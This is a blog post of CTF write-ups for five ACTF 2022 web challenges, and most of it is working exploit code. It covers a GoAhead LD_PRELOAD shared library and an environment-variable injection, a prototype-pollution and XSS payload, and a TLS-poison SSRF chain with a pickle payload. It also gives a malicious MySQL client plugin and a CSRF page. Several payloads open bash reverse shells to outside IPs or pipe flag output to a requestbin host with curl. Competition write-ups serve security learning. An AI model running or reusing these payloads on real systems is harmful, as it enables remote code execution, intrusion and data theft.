当前位置:网站首页>[2022 actf] Web Topic recurrence

[2022 actf] Web Topic recurrence

2022-07-07 07:45:00 Snakin_ ya

gogogo

Examination site :

  • goahead Environment variable injection

Problem solving :

see dockerfile The use environment of the problem is goahead5.1.4, Associated with the p God's record of the recurrence of this vulnerability , We have two ways to solve the problem :

  • hijacked LD_PRELOAD Dynamic link library for
  • Using environment variable injection RCE

GoAhead Environmental variable injection recurrence stepping on the pit

Law 1 :

hack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void aaanb(void)
{
    
    unsetenv("LD_PRELOAD");
    system("touch /tmp/success");
    system("/bin/bash -c 'bash -i >& /dev/tcp/1.117.171.248/39543 0>&1'");
}

compile

gcc hack.c -fPIC -s -shared -o hack.so

exp.py

import requests, random
from concurrent import futures
from requests_toolbelt import MultipartEncoder
hack_so = open('hack.so','rb').read()

def upload(url):
    m = MultipartEncoder(
        fields = {
    
            'file':('1.txt', hack_so,'application/octet-stream')
        }
    )
    r = requests.post(
        url = url,
        data=m,
        headers={
    'Content-Type': m.content_type}
    )

def include(url):
    m = MultipartEncoder(
        fields = {
    
            'LD_PRELOAD': '/proc/self/fd/7',
        }
    )
    r = requests.post(
        url = url,
        data=m,
        headers={
    'Content-Type': m.content_type}
    )


def race(method):
    url = 'http://1.117.171.248:10218/cgi-bin/hello'
    if method == 'include':
        include(url)
    else:
        upload(url)

def main():
    task = ['upload','include'] * 1000
    random.shuffle(task) # 
    with futures.ThreadPoolExecutor(max_workers=5) as executor:
        results = list(executor.map(race, task))

if __name__ == "__main__":
    main()

image-20220705125544547

Law two :

exp.py

import requests

payload = {
    
    "BASH_FUNC_env%%":(None,"() { cat /flag; exit; }"),
}

r = requests.post("http:/1.117.171.248:10218/cgi-bin/hello",files=payload)
print(r.text)

image-20220705130155648

poorui

Take a brief look at the code logic :

server.js

const apiGetFlag = (ws) => {
    
    username2ws.get('flagbot').send(JSON.stringify({
    
        api: "getflag",
        from: ws2username.get(ws)
    }))
}

The whole topic passed websockets signal communication , When api by getflag Time passes in flagbot

const handleGetFlag = (from) => {
    
    console.log('[getflag]', from)
    if(from === 'admin'){
    
        conn.send(JSON.stringify({
    
            api: 'sendflag',
            flag: FLAG,
            to: from
        }))
    }
}

Here we find admin There are no restrictions on login , So let's log in admin Again getflag that will do

{"api":"login","username":"admin"}
{"api":"getflag","to":"flagbot"}

image-20220705152942049

The expected solution :

1.lodash prototype pollution
2.image xss (many ways)
3.make the admin refresh the browser page and goto a third party site which would connect to the websocket server as a client
4.login as admin, getflag and send it to your favorite nc -lvp 1337

Prototype chain pollution :

content: {
    
    type: 'tpl',
    data: {
    
        tpl: '<h3>{
    {b}}</h3>',
        ctx: '{"a":123, "b":123, "__proto__":{"allowImage":true}}'
    }
}

xss:

content: {
    
    type: 'image',
    data: {
    
        src: 'https://i.picsum.photos/id/220/200/200.jpg?hmac=1eed0JUIOlpc-iGslem_jB1FORVXUdRtOmgpHxDDKZQ',
        attrs: {
    
            wow: 1,
            dangerouslySetInnerHTML: {
    
                __html: "<img οnerrοr='location.href=`http://evil.com`' src=1>"
            }
        }
    }
}

ToLeSion

Examination site :

Problem solving :

TLS Poison The attack passed FTPS Passive mode ssrf Go fight Memcached, Due to the use memcache Storage session There is de serialization , write in session The value is pickle Deserialization payload.

Use the tools of the land team to build the environment :

https://github.com/ZeddYu/TLS-poison

install TLS Server

# Install dependencies
sudo apt install git redis
git clone https://github.com/jmdx/TLS-poison.git
# Install rust:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
cd TLS-poison/client-hello-poisoning/custom-tls
# There will definitely be warnings I didn't clean up :)
cargo build

After the environment is ready, you need to create a forwarder with a certificate 11211 The data of the port is forwarded to 2048 port :

target/debug/custom-tls -p 11211 --verbose --certs 
/etc/nginx/ssl/ctf.edisec.net.pem --key 
/etc/nginx/ssl/ctf.edisec.net.key forward 2048

And then in 2048 The port has a ftp Used to handle forwarded traffic :

import socketserver, threading,sys

class MyTCPHandler(socketserver.StreamRequestHandler):
    def handle(self):
        print('[+] connected', self.request, file=sys.stderr)
        self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr,flush=True)
        self.request.sendall(b'230 Login successful.\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'200 yolo\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'200 yolo\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'257 "/" is the current directory\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'200 Switching to Binary mode.\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        # 226 Transfer complete.
        self.request.sendall(b'250 Requested file action okay, completed.')
        exit()

def ftp_worker():
    with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:
        while True:
            server.handle_request()
threading.Thread(target=ftp_worker).start()

exp.py

import redis
import pickle,requests

def get_pickle_payload(cmd):
    class AAA():
        def __reduce__(self):
            return (__import__('os').system, (cmd,))
    aaa = AAA()
    payload = pickle.dumps(aaa)
    return payload

def parse(x):
    return b'\r\n' + x + b'\r\n'

def set(key, value):
	return parse(b'set %s 0 0 %d\n%s' % (key.encode(), len(value), value))

def rce():
    r = requests.get(
        url = 'http://localhost:10023/?url=ftps://ctf.zjusec.top:8888/'
    )
    print(r.text)
    
    r = requests.get(
        url = 'http://localhost:10023/?url=file:///etc/passwd',
        headers={
    
            'Cookie':'session=aaa'
        }
    )
    print(r.text)
def local_set():
    payload = get_pickle_payload('/bin/bash -c "bash -i >& /dev/tcp/150.158.58.29/7777 0>&1"')
    r = redis.StrictRedis(host='localhost', port=6379, db=0)
    redis_payload = set('actfSession:aaa', payload)
    print(redis_payload)
    r.set('payload', redis_payload)
    
if __name__ == "__main__":
    rce()

myclient

Source code :

<?php
    $con = mysqli_init();
    $key = $_GET['key'];
    $value = $_GET['value'];
    if(strlen($value) > 1500){
    
        die('too long');
    }
    if (is_numeric($key) && is_string($value)) {
    
        mysqli_options($con, $key, $value);
    }
    mysqli_options($con, MYSQLI_OPT_LOCAL_INFILE, 0);
    if (!mysqli_real_connect($con, "127.0.0.1", "test", "test123456", "mysql")) {
    
        $content = 'connect failed';
    } else {
    
        $content = 'connect success';
    }
    mysqli_close($con);
    echo $content;    
?>

Problem solving :

  1. Use MYSQLI_INIT_COMMAND Options + INTO DUMPFILE, Write a evil mysql Client authentication library to /tmp/e10adc3949ba59abbe56e057f20f883e

  2. Use MYSQLI_INIT_COMMAND Options + INTO DUMPFILE Write a Defaults To configure , among group=client plugin-dir=/tmp/e10adc3949ba59abbe56e057f20f883e and default-auth=<name of library file - extension>

  3. Use MYSQLI_READ_DEFAULT_FILE Option set to /tmp/e10adc3949ba59abbe56e057f20f883e/

    To load a malicious configuration file , This file will trigger our evil.so , Then the trigger init function .

  4. RCE

evil.c

#include <mysql/client_plugin.h>
#include <mysql.h>
#include <stdio.h>

/* Ubuntu x86_64: apt install libmysqlclient-dev gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c NOTE: the plugin_name MUST BE the full name with the directory traversal!!! */

static int evil_init(char * a, size_t b , int c , va_list ds)
{
    
    system("/readflag | curl -XPOST http://dnsdatacheck.7twx8in3gacdrrvq.b.requestbin.net/xxd -d @-");
    return NULL;
}

static int evilplugin_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql)
{
    
int res;
  res= vio->write_packet(vio, (const unsigned char *) mysql->passwd, strlen(mysql->passwd) + 1);
  return CR_OK;
}

mysql_declare_client_plugin(AUTHENTICATION)
  "auth_simple",  /* plugin name */
  "Author Name",                        /* author */
  "Any-password authentication plugin", /* description */
  {
    1,0,0},                              /* version = 1.0.0 */
  "GPL",                                /* license type */
  NULL,                                 /* for internal use */
  evil_init,                                 /* no init function */
  NULL,                                 /* no deinit function */
  NULL,                                 /* no option-handling function */
  evilplugin_client                    /* main function */
mysql_end_client_plugin;

compile :

gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c

exp.py

import requests
import random
import string
import codecs

def genName():
    return random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters)+ random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) +random.choice(string.ascii_letters)


url = "http://1.117.171.248:10047/index.php"

shell = open("exp.so","rb").read()
n = 100
chunks = [shell[i:i+n] for i in range(0, len(shell), n)]

print(len(chunks))

prefix = genName()
for idx in range(len(chunks)):
    name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx);
    chunk = chunks[idx];
    x = "0x" +codecs.encode(chunk,'hex').decode()
    if idx != 0 and idx != len(chunks)-1:
        previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
        sql = f"SELECT concat(LOAD_FILE('{
      previus_name}'), {
      x}) INTO DUMPFILE '{
      name}'"
        r = requests.get(url,params={
    "key":"3", "value": sql})
        print(r.text)
        print(name)
    elif idx == len(chunks)-1:
        previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
        sql = f"SELECT concat(LOAD_FILE('{
      previus_name}'), {
      x}) INTO DUMPFILE '/tmp/e10adc3949ba59abbe56e057f20f883e/auth_simple.so'"
        r = requests.get(url,params={
    "key":"3", "value": sql})
        print(r.text)
        open("name","w").write("auth_simple")
        print("auth_simple")
    else:
        sql = f"SELECT {
      x} INTO DUMPFILE '{
      name}'"
        r = requests.get(url,params={
    "key":"3", "value": sql})
        print(r.text)

beWhatYouWannaBe

exp.html

<html>

<head>
    <title>csrf</title>
</head>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/js-sha256/0.9.0/sha256.js"></script>

<body>
    <iframe name=fff srcdoc="<form id=lll name=aaa><input id=ggg value=this_is_what_i_want></input></form><form id=lll></form>"></iframe>
    <form id="form" action="http://localhost:8000/beAdmin" method="post">
        <input name="username" value="aaa">
        <input name="csrftoken" id="csrftoken" value="1">
    </form>

    <script> function getToken() {
       return sha256(Math.sin(Math.floor(Date.now() / 1000)).toString()) } $("#csrftoken").attr("value", getToken()) document.getElementById("form").submit() </script>

</body>

</html>

https://portswigger.net/research/dom-clobbering-strikes-back

Reference resources :

http://www.yongsheng.site/2022/06/30/AAActf/

https://github.com/team-s2/ACTF-2022/tree/main/web

原网站

版权声明
本文为[Snakin_ ya]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/188/202207070347544023.html